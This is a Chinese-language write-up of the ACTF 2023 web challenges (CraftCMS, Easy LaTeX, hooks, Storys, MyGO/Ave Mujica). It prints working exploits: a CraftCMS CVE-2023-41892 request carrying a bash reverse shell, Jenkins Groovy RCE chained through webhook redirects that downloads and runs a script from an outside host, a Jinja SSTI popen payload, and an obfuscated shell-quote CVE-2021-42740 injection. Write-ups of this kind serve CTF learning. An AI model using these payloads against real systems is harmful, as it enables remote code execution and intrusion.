October 31, 2023

ACTF 2023 Web Writeup

craftcms

标题一看就知道是最近P神知识星球还有外面出来的那个Imagick RCE
http://www.bmth666.cn/2023/09/26/CVE-2023-41892-CraftCMS%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8
先尝试包含日志文件RCE

匪夷所思的打不通
来了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST / HTTP/1.1
Host: 61.147.171.105:63197
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: <?php phpinfo();?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,mg;q=0.7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 213

action=conditions/render&configObject=craft\elements\conditions\ElementCondition&config={"name":"configObject","as ":{"class":"\\GuzzleHttp\\Psr7\\FnStream","__construct()":[{"close":null}],"_fn_close":"phpinfo"}}

Pearcmd RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /?1=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F114.116.119.253%2F7777%20%3C%261%22 HTTP/1.1
Host: 61.147.171.105:51172
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 Edg/118.0.2088.69
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: CRAFT_CSRF_TOKEN=be184715764f67671b69bda9ad64ba04a73678870c9400d4a8df0d1dabf22350a%3A2%3A%7Bi%3A0%3Bs%3A16%3A%22CRAFT_CSRF_TOKEN%22%3Bi%3A1%3Bs%3A147%3A%225AETmM-3SjB0rKXy_KzpJdCx2v6dyareo_foMd9Z%7C11cb586bcc3bfe1a299e0b3990f5c326e3fcb749c7dc517736354d0e728a41ee5AETmM-3SjB0rKXy_KzpJdCx2v6dyareo_foMd9Z%7C1%22%3B%7D; 627b0ba821a077f475abefb99d7bf1eb_username=d988d1b82d3d85d5075c5ae928e807eaa4df4fa4d57da2b27aecb2e67489293fa%3A2%3A%7Bi%3A0%3Bs%3A41%3A%22627b0ba821a077f475abefb99d7bf1eb_username%22%3Bi%3A1%3Bs%3A5%3A%22admin%22%3B%7D; CraftSessionId=a090d1dc3d6177f321f9fbeec5e86e04; 627b0ba821a077f475abefb99d7bf1eb_identity=64baaded09da9ed98939255acfa83d1548180261c6604c7db39a195a105404caa%3A2%3A%7Bi%3A0%3Bs%3A41%3A%22627b0ba821a077f475abefb99d7bf1eb_identity%22%3Bi%3A1%3Bs%3A162%3A%22%5B1%2C%22%5B%5C%2214fFNPePiqkytbJvUdjutK2PjZcOvGwLsIL8Xqywe3WjPqxQARmgpbVpt2h564JpvUrLQhRG8JsdK8PKQy-fp3d155ciKkgTFJPl%5C%22%2Cnull%2C%5C%221f04f262a3112304c814b25df2ccc708%5C%22%5D%22%2C1209600%5D%22%3B%7D
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 197

action=conditions/render&configObject=craft\elements\conditions\ElementCondition&config={"name":"configObject","as ":{"class":"\\yii\\rbac\\PhpManager","__construct()":[{"itemFile":"/tmp/2.php"}]}}



哦不对,写不了马,弹shell

easy latex

一坨屎

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
const express = require('express')
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser')
const rateLimit = require('express-rate-limit');
const ejs = require('ejs')
const jwt = require('./utils/jwt')
const crypto = require('crypto')
const fs = require('fs')
const { Store } = require('./utils/store')
const { visit } = require('./bot')

const VIP_URL = process.env.VIP_URL
?? console.log('no VIP_URL set, use default')
?? 'https://ys.mihoyo.com/'

const PORT = 3000
const notes = new Store()
const app = express()
const md5 = (data) => crypto.createHash('md5').update(data).digest('hex')

app.set('view engine', 'html')
app.engine('html', ejs.renderFile);

function sign(payload) {
const prv_key = fs.readFileSync('prv.key')
let token = jwt.sign(payload, prv_key, { algorithm: 'RS256' })
return token
}

function verify(token) {
const pub_key = fs.readFileSync('pub.key')
try {
jwt.verify(token, pub_key)
return true
} catch (e) {
console.log(e)
return false
}
}

const getNonce = (l) => {
return crypto.randomBytes(Math.ceil(l / 2)).toString('hex')
}

app.use(bodyParser.urlencoded({ extended: true }))
app.use(cookieParser())

const reportLimiter = rateLimit({
windowMs: 5 * 1000,
max: 1,
});

const auth = (req, res, next) => {
let token = req.cookies.token
if (!token) {
res.send('login required')
return
}
if (!verify(token)) {
res.send('illegal token')
return
}
let claims = jwt.decode(token)
req.session = claims
next()
}

app.use(express.static('static'))

app.get('/login', (req, res) => {
return res.render('login')
})

app.post('/login', (req, res) => {
let { username, password } = req.body

if (md5(username) != password) {
res.render('login', { msg: 'login failed' })
return
}

let token = sign({ username, isVip: false })
res.cookie('token', token)
res.redirect('/')
})

app.get('/', (req, res) => {
res.render('index.html', { login: !!req.cookies.token })
})

app.get('/preview', (req, res) => {
let { tex, theme } = req.query
if (!tex) {
tex = 'Today is \\today.'
}
const nonce = getNonce(16)
let base = 'https://cdn.jsdelivr.net/npm/latex.js/dist/'
if (theme) {
base = new URL(theme, `http://${req.headers.host}/theme/`) + '/'
}
res.render('preview.html', { tex, nonce, base })
})

app.post('/note', auth, (req, res) => {
let { tex, theme } = req.body
if (!tex) {
res.send('empty tex')
return
}
if (!theme || !req.session.isVip) {
theme = ''
}
const id = notes.add({ tex, theme })
let msg = (!req.body.theme || req.session.isVip) ? '' : 'Be VIP to enable theme setting!'
msg += `\nYour note link: http://${req.headers.host}/note/${id}`
msg += `\nShare it via http://${req.headers.host}/share/${id}`
res.send(msg.trim())
})

app.get('/note/:id', (req, res) => {
const note = notes.get(req.params.id)
if (!note) {
res.send('note not found');
return
}
const { tex, theme } = note
const nonce = getNonce(16)
let base = 'https://cdn.jsdelivr.net/npm/latex.js/dist/'
let theme_url = `http://${req.headers.host}/theme/`
if (theme) {
base = new URL(theme, `http://${req.headers.host}/theme/`) + '/'
}
res.render('note.html', { tex, nonce, base, theme_url })
})

app.post('/vip', auth, async (req, res) => {
let username = req.session.username
let { code } = req.body
let vip_url = VIP_URL
let data = await (await fetch(new URL(username, vip_url), {
method: 'POST',
headers: {
Cookie: Object.entries(req.cookies).map(([k, v]) => `${k}=${v}`).join('; ')
},
body: new URLSearchParams({ code })
})).text()
if ('ok' == data) {
res.cookie('token', sign({ username, isVip: true }))
res.send('Congratulation! You are VIP now.')
} else {
res.send(data)
}
})

app.get('/share/:id', reportLimiter, async (req, res) => {
const { id } = req.params
if (!id) {
res.send('no note id specified')
return
}
const url = `http://localhost:${PORT}/note/${id}`
try {
await visit(url)
res.send('done')
} catch (e) {
console.log(e)
res.send('something error')
}
})

app.get('/flag', (req, res) => {
res.send('Genshin start!')
})

app.listen(PORT, '0.0.0.0', () => {
console.log(`listen on ${PORT}`)
})

bot会访问note/id路由,其中note.html代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta http-equiv="content-language" content="en">
<meta http-equiv="Content-Security-Policy"
content="default-src <%= theme_url %> https://getbootstrap.com https://cdn.jsdelivr.net 'nonce-<%= nonce %>';">
<meta name="viewport" content="width=device-width, initial-scale=1.0">

<link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet">
<link href="https://getbootstrap.com/docs/5.3/assets/css/docs.css" rel="stylesheet">

<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js"></script>

<style nonce="<%= nonce %>">
latex-js {
display: inline-block;
width: 40%;
border: 1px solid red;
}
</style>

<title>Easy Latex</title>

<script type="module" nonce="<%= nonce %>">
import { LaTeXJSComponent } from "https://cdn.jsdelivr.net/npm/latex.js/dist/latex.mjs"
customElements.define("latex-js", LaTeXJSComponent)
</script>

<style nonce="<%= nonce %>">
body {
text-align: center;
}
</style>
</head>

<body>

<div class="mt-5">
<latex-js id="tex" baseURL="<%= base %>"><%= tex %></latex-js>
</div>
</body>

</html>

我是傻逼我不会XSS,好了我又悟了我觉得
拿下拿下

漏洞点处在new URL第一个参数没有指定,我们可以控制他的url为自己vps的地址

通过访问/share/..%2fpreview可以直接绕过id的限制,然后我们还需要绕过http-only,我们需要让bot访问vip去绕过这个限制,最后只需要csrf即可,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
fetch('/login',{
method:"POST",
redirect:"follow",
headers: {
'Content-Type': "application/x-www-form-urlencoded"
},
body:"username=http://114.116.119.253:7777&password=c2ceb7948ba609ad5f728c96cae769ba"
});
console.log('first');
function exp(){
fetch('/vip',{
method:"POST"
})
}
exp()

hooks

Gateway: http://124.70.33.170:8088/
Intranet jenkins service: http://jenkins:8080/

给了提示 github webhooks abuse,咱们试试看发现点不一样的东西


可以发现通过简单的github的webhooks转发,可以让之前的403变为200,但是显示method not allowd,这是因为github的webhooks是post转发,而题目的nginx需要get去请求

https://blog.csdn.net/happyAliceYu/article/details/90701614
https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/
https://www.youtube.com/watch?v=wrRha2vwv6Q

重点是这三篇文章,现在思路如下

并且我们选用的是gitlab的webhooks,gitlab的webhooks转发过去的是get请求
简单的例子如下
VPS放置的转发服务器代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from flask import Flask, redirect, request
from urllib.parse import unquote

app = Flask(__name__)

@app.post('/redirect')
def perform_redirect():
redirect_url = request.args.get('redirect_url')
if redirect_url:
return redirect(redirect_url, code=302)
else:
return "Missing 'redirect_url' parameter", 400

if __name__ == '__main__':
app.run("0.0.0.0",debug=True)



说明需要2次转发到jenkins即可。配合CVE-2019-100030最终rce
最终POC如下:

1
2
3
http://132.232.82.54:5000/?url=http://124.70.33.170:8088?redirect_url=http://jenkins:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript%253fsandbox=true%2526value=public%2520class%2520x%2520{public%2520x(){%2522curl%2520132.232.82.54%253a8888%252fshell.html%2520%252do%2520%252ftmp%252fha1%2522.execute()}}

http://132.232.82.54:5000/?url=http://124.70.33.170:8088?redirect_url=http://jenkins:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript%253fsandbox=true%2526value=public%2520class%2520x%2520{public%2520x(){%2522sh%2520%252ftmp%252fha1%2522.execute()}}

groovy任意语句执行,出网,先写sh文件,在运行反弹shell得到flag

Storys

http://124.70.33.170:23001/ 随便输都能登录
源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from flask import Flask, render_template_string, jsonify, request, session, render_template, redirect
import random
from utils.captcha import Captcha, generate_code
from utils.minic import *
app = Flask(__name__)
app.config['SECRET_KEY'] = ''

@app.route('/', methods=['GET', 'POST'])
def index():
username = session.get('username', '')

if username != "" and username is not None:
return render_template("home.html")
return render_template('index.html')

@app.route('/captcha')
def captcha():
gen = Captcha(200, 80)
buf , captcha_text = gen.generate()

session['captcha'] = captcha_text
return buf.getvalue(), 200, {
'Content-Type': 'image/png',
'Content-Length': str(len(buf.getvalue()))
}

@app.route('/login', methods=['POST'])
def login():
username = request.json.get('username', '')
captcha = request.json.get('captcha', '').upper()

if captcha == session.get('captcha', '').upper():
session['username'] = username
return jsonify({'status': 'success', 'message': 'login success'})
return jsonify({'status': 'error', 'message': 'captcha error'}), 400

@app.route('/vip', methods=['POST'])
def vip():
captcha = generate_code()
captcha_user = request.json.get('captcha', '')
if captcha == captcha_user:
session['vip'] = True
return render_template("home.html")

@app.route('/write', methods=['POST','GET'])
def rename():
if request.method == "GET":
return redirect('/')

story = request.json.get('story', '')
if session.get('vip', ''):

if not minic_waf(story):
session['username'] = ""
session['vip'] = False
return jsonify({'status': 'error', 'message': 'no way~~~'})

session['story'] = story
return jsonify({'status': 'success', 'message': 'success'})

return jsonify({'status': 'error', 'message': 'Please become a VIP first.'}), 400

@app.route('/story', methods=['GET'])
def story():
story = session.get('story','')
if story is not None and story != "":
tpl = open('templates/story.html', 'r').read()
return render_template_string(tpl % story)
return redirect("/")


if __name__ == '__main__':
app.run(host="0.0.0.0", port=5001)

2个点

这个WAF很有意思,随机WAF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import random

rule = [
['\\x','[',']','.','getitem','print','request','args','cookies','values','getattribute','config'], # rule 1
['(',']','getitem','_','%','print','config','args','values','|','\'','\"','dict',',','join','.','set'], # rule 2
['\'','\"','dict',',','config','join','\\x',')','[',']','attr','__','list','globals','.'], # rule 3
['[',')','getitem','request','.','|','config','popen','dict','doc','\\x','_','\{\{','mro'], # rule 4
['\\x','(',')','config','args','cookies','values','[',']','\{\{','.','request','|','attr'], # rule 5
['print', 'class', 'import', 'eval', '__', 'request','args','cookies','values','|','\\x','getitem'] # rule 6
]

# Make waf more random
def transfrom(number):
a = random.randint(0,20)
b = random.randint(0,100)
return (a * number + b) % 6

def singel_waf(input, rules):
input = input.lower()
for rule in rules:
if rule in input:
return False
return True

def minic_waf(input):
waf_seq = random.sample(range(21),3)
for index in range(len(waf_seq)):
waf_seq[index] = transfrom(waf_seq[index])
if not singel_waf(input, rule[waf_seq[index]]):
return False
return True


print(minic_waf("{{"))

五个waf随机选3个,也就是按照最简单的打就行了。这个不难,问题是如何伪造vip,虽然源码告诉我是空密钥,但是我也没试,肯定不是空密钥

看着这一段代码,我陷入了沉思,我觉得这不就是最近Jumpserver那一段漏洞的逻辑吗哈哈哈哈,也就是random.choice他默认是以当前的时间戳当做seed进行播种,所以我们可以在验证码那边一直播撒种子,最终预测验证码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
import random

# coding: utf-8
import os
import random
import typing as t
import requests
from PIL.Image import new as createImage, Image, QUAD, BILINEAR
from PIL.ImageDraw import Draw, ImageDraw
from PIL.ImageFilter import SMOOTH
from PIL.ImageFont import FreeTypeFont, truetype
from io import BytesIO
import time

ColorTuple = t.Union[t.Tuple[int, int, int], t.Tuple[int, int, int, int]]

DATA_DIR = os.path.join(os.path.abspath(os.path.dirname(__file__)), 'data')
DEFAULT_FONTS = [os.path.join(DATA_DIR, 'DroidSansMono.ttf')]


class Captcha:
lookup_table: t.List[int] = [int(i * 1.97) for i in range(256)]

def __init__(self, width: int = 160, height: int = 60, key: int = None, length: int = 4,
fonts: t.Optional[t.List[str]] = None, font_sizes: t.Optional[t.Tuple[int]] = None):
self._width = width
self._height = height
self._length = length
tkey=int(time.time())
self._key = (key or tkey) + random.randint(1,100)
self._fonts = fonts or DEFAULT_FONTS
self._font_sizes = font_sizes or (42, 50, 56)
self._truefonts: t.List[FreeTypeFont] = []
#__import__("os").popen("echo "+str(self._key)+" > /tmp/key")
random.seed(key)


@property
def truefonts(self) -> t.List[FreeTypeFont]:
if self._truefonts:
return self._truefonts
self._truefonts = [
truetype(n, s)
for n in self._fonts
for s in self._font_sizes
]
return self._truefonts

@staticmethod
def create_noise_curve(image: Image, color: ColorTuple) -> Image:
w, h = image.size
x1 = random.randint(0, int(w / 5))
x2 = random.randint(w - int(w / 5), w)
y1 = random.randint(int(h / 5), h - int(h / 5))
y2 = random.randint(y1, h - int(h / 5))
points = [x1, y1, x2, y2]
end = random.randint(160, 200)
start = random.randint(0, 20)
Draw(image).arc(points, start, end, fill=color)
return image

@staticmethod
def create_noise_dots(image: Image, color: ColorTuple, width: int = 3, number: int = 30) -> Image:
draw = Draw(image)
w, h = image.size
while number:
x1 = random.randint(0, w)
y1 = random.randint(0, h)
draw.line(((x1, y1), (x1 - 1, y1 - 1)), fill=color, width=width)
number -= 1
return image

def _draw_character(self, c: str, draw: ImageDraw, color: ColorTuple) -> Image:
font = random.choice(self.truefonts)

left, top, right, bottom = draw.textbbox((0, 0), c, font=font)
w = int((right - left)*1.7) or 1
h = int((bottom - top)*1.7) or 1

dx1 = random.randint(0, 4)
dy1 = random.randint(0, 6)
im = createImage('RGBA', (w + dx1, h + dy1))
Draw(im).text((dx1, dy1), c, font=font, fill=color)

# rotate
im = im.crop(im.getbbox())
im = im.rotate(random.uniform(-30, 30), BILINEAR, expand=True)

# warp
dx2 = w * random.uniform(0.1, 0.3)
dy2 = h * random.uniform(0.2, 0.3)
x1 = int(random.uniform(-dx2, dx2))
y1 = int(random.uniform(-dy2, dy2))
x2 = int(random.uniform(-dx2, dx2))
y2 = int(random.uniform(-dy2, dy2))
w2 = w + abs(x1) + abs(x2)
h2 = h + abs(y1) + abs(y2)
data = (
x1, y1,
-x1, h2 - y2,
w2 + x2, h2 + y2,
w2 - x2, -y1,
)
im = im.resize((w2, h2))
im = im.transform((w, h), QUAD, data)
return im

def create_captcha_image(self, chars: str, color: ColorTuple, background: ColorTuple) -> Image:
image = createImage('RGB', (self._width, self._height), background)
draw = Draw(image)

images: t.List[Image] = []
for c in chars:
if random.random() > 0.5:
images.append(self._draw_character(" ", draw, color))
images.append(self._draw_character(c, draw, color))

text_width = sum([im.size[0] for im in images])

width = max(text_width, self._width)
image = image.resize((width, self._height))

average = int(text_width / len(chars))
rand = int(0.25 * average)
offset = int(average * 0.1)

for im in images:
w, h = im.size
mask = im.convert('L').point(self.lookup_table)
image.paste(im, (offset, int((self._height - h) / 2)), mask)
offset = offset + w + random.randint(-rand, 0)

if width > self._width:
image = image.resize((self._width, self._height))

return image

def generate_image(self, chars: str) -> Image:
background = random_color(238, 255)
color = random_color(10, 200, random.randint(220, 255))
im = self.create_captcha_image(chars, color, background)
self.create_noise_dots(im, color)
self.create_noise_curve(im, color)
im = im.filter(SMOOTH)
return im

def generate(self, format: str = 'png') -> (BytesIO,str):
code = generate_code(self._length)
im = self.generate_image(code)
out = BytesIO()
im.save(out, format=format)
out.seek(0)
return out, code

def write(self, output: str, format: str = 'png') -> (Image, str):
code = generate_code(self._length)
im = self.generate_image(code)
im.save(output, format=format)
return im, code


def random_color(start: int, end: int, opacity: t.Optional[int] = None) -> ColorTuple:
red = random.randint(start, end)
green = random.randint(start, end)
blue = random.randint(start, end)
if opacity is None:
return (red, green, blue)
return (red, green, blue, opacity)

def generate_code(length: int = 4):
characters = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
return ''.join(random.choice(characters) for _ in range(length))

tkey=int(time.time())
print(tkey)
open("1.jpg","wb").write(requests.get("http://124.70.33.170:23001/captcha").content)
trueKey=input()
Cookie="eyJjYXB0Y2hhIjoiVjhTUyIsInVzZXJuYW1lIjoiYWRtaW4ifQ.ZT3VKQ.b53eteLdneEgpLYTiDNTBwka7Cc"
for i in range(0,101):
gen = Captcha(200, 80,tkey+i)
out,captcha_text = gen.generate()
if(trueKey.lower()==captcha_text.lower()):
print(captcha_text)
captcha = generate_code()
print(captcha)
print(requests.post("http://124.70.33.170:23001/vip",json={"captcha":captcha},headers={"Cookie":Cookie}).headers["Set-Cookie"])

WAF可以重复,咱们只需要找一个可能的payload,然后一直发送,反弹shell就行了

1
{"story":"{{lipsum|attr('__globals__')|attr('__getit'+'em__')('os')|attr('popen')('cat flag')|attr('read')()}}"}

循环跑拿到session

MyGO’s Live!!!!!

日志没删

1
ACTF{s1nc3_I_c4N_d0_anyThin9_1f_I_c4n}
1
2
3
4
5
6
7
正解
http://192.168.247.18:3333/checker?url=-i%09/flag-????????????????
http://192.168.247.18:3333/checker?url=-i%09/plzfailme

另一种解法:
http://192.168.247.18:3333/checker?url=-i%09/flag-????????????????%09-oN%09public/114.html
http://192.168.247.18:3333/114.html

Ave Mujica’s Masquerade

过滤改了,通过null bytes报错和不传入url参数得到,使用了shell-quote库
shell-quote有个nday CVE-2021-42740
试了一下可以打

1
2
3
4
5
6
7
TypeError [ERR_INVALID_ARG_VALUE]: The argument 'args[1]' must be a string without null bytes. Received 'nmap -p 80 -i\x00/etc/passwd'

TypeError: Cannot read properties of undefined (reading 'replace')
at /app/node_modules/shell-quote/index.js:4:25
at Array.map (<anonymous>)
at exports.quote (/app/node_modules/shell-quote/index.js:2:15)
at /app/server.js:42:28
1
2
3
4
5
6
7
8
poc
http://124.70.33.170:24001/checker?url=1:`:`sleep$IFS\9``:`

exp
http://124.70.33.170:24001/checker?url=0%00%3A%60%3A%60python3%24IFS%5C-c%24IFS%5Cexec%28chr%28105%29%2Bchr%28109%29%2Bchr%28112%29%2Bchr%28111%29%2Bchr%28114%29%2Bchr%28116%29%2Bchr%2832%29%2Bchr%28103%29%2Bchr%28108%29%2Bchr%28111%29%2Bchr%2898%29%2Bchr%2859%29%2Bchr%2810%29%2Bchr%28102%29%2Bchr%28108%29%2Bchr%2897%29%2Bchr%28103%29%2Bchr%2895%29%2Bchr%28110%29%2Bchr%2897%29%2Bchr%28109%29%2Bchr%28101%29%2Bchr%2861%29%2Bchr%28103%29%2Bchr%28108%29%2Bchr%28111%29%2Bchr%2898%29%2Bchr%2846%29%2Bchr%28103%29%2Bchr%28108%29%2Bchr%28111%29%2Bchr%2898%29%2Bchr%2840%29%2Bchr%2839%29%2Bchr%2847%29%2Bchr%28102%29%2Bchr%28108%29%2Bchr%2897%29%2Bchr%28103%29%2Bchr%2842%29%2Bchr%2839%29%2Bchr%2841%29%2Bchr%2891%29%2Bchr%2848%29%2Bchr%2893%29%2Bchr%2810%29%2Bchr%28102%29%2Bchr%28100%29%2Bchr%2849%29%2Bchr%2861%29%2Bchr%28111%29%2Bchr%28112%29%2Bchr%28101%29%2Bchr%28110%29%2Bchr%2840%29%2Bchr%28102%29%2Bchr%28108%29%2Bchr%2897%29%2Bchr%28103%29%2Bchr%2895%29%2Bchr%28110%29%2Bchr%2897%29%2Bchr%28109%29%2Bchr%28101%29%2Bchr%2841%29%2Bchr%2859%29%2Bchr%2810%29%2Bchr%28102%29%2Bchr%28100%29%2Bchr%2850%29%2Bchr%2861%29%2Bchr%28111%29%2Bchr%28112%29%2Bchr%28101%29%2Bchr%28110%29%2Bchr%2840%29%2Bchr%2834%29%2Bchr%28112%29%2Bchr%28117%29%2Bchr%2898%29%2Bchr%28108%29%2Bchr%28105%29%2Bchr%2899%29%2Bchr%2847%29%2Bchr%2849%29%2Bchr%2849%29%2Bchr%2852%29%2Bchr%2846%29%2Bchr%28104%29%2Bchr%28116%29%2Bchr%28109%29%2Bchr%28108%29%2Bchr%2834%29%2Bchr%2844%29%2Bchr%2834%29%2Bchr%28119%29%2Bchr%2834%29%2Bchr%2841%29%2Bchr%2859%29%2Bchr%2810%29%2Bchr%28102%29%2Bchr%28100%29%2Bchr%2850%29%2Bchr%2846%29%2Bchr%28119%29%2Bchr%28114%29%2Bchr%28105%29%2Bchr%28116%29%2Bchr%28101%29%2Bchr%2840%29%2Bchr%28102%29%2Bchr%28100%29%2Bchr%2849%29%2Bchr%2846%29%2Bchr%28114%29%2Bchr%28101%29%2Bchr%2897%29%2Bchr%28100%29%2Bchr%2840%29%2Bchr%2841%29%2Bchr%2841%29%2Bchr%2859%29%29%60%60%3A%60
http://124.70.33.170:24001/114.html

ACTF{Th3_only_1_I_c4n_tRUST_is_mySeLf}

题目本身是有附件的。。。那也太简单了

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#WriteUp#ACTF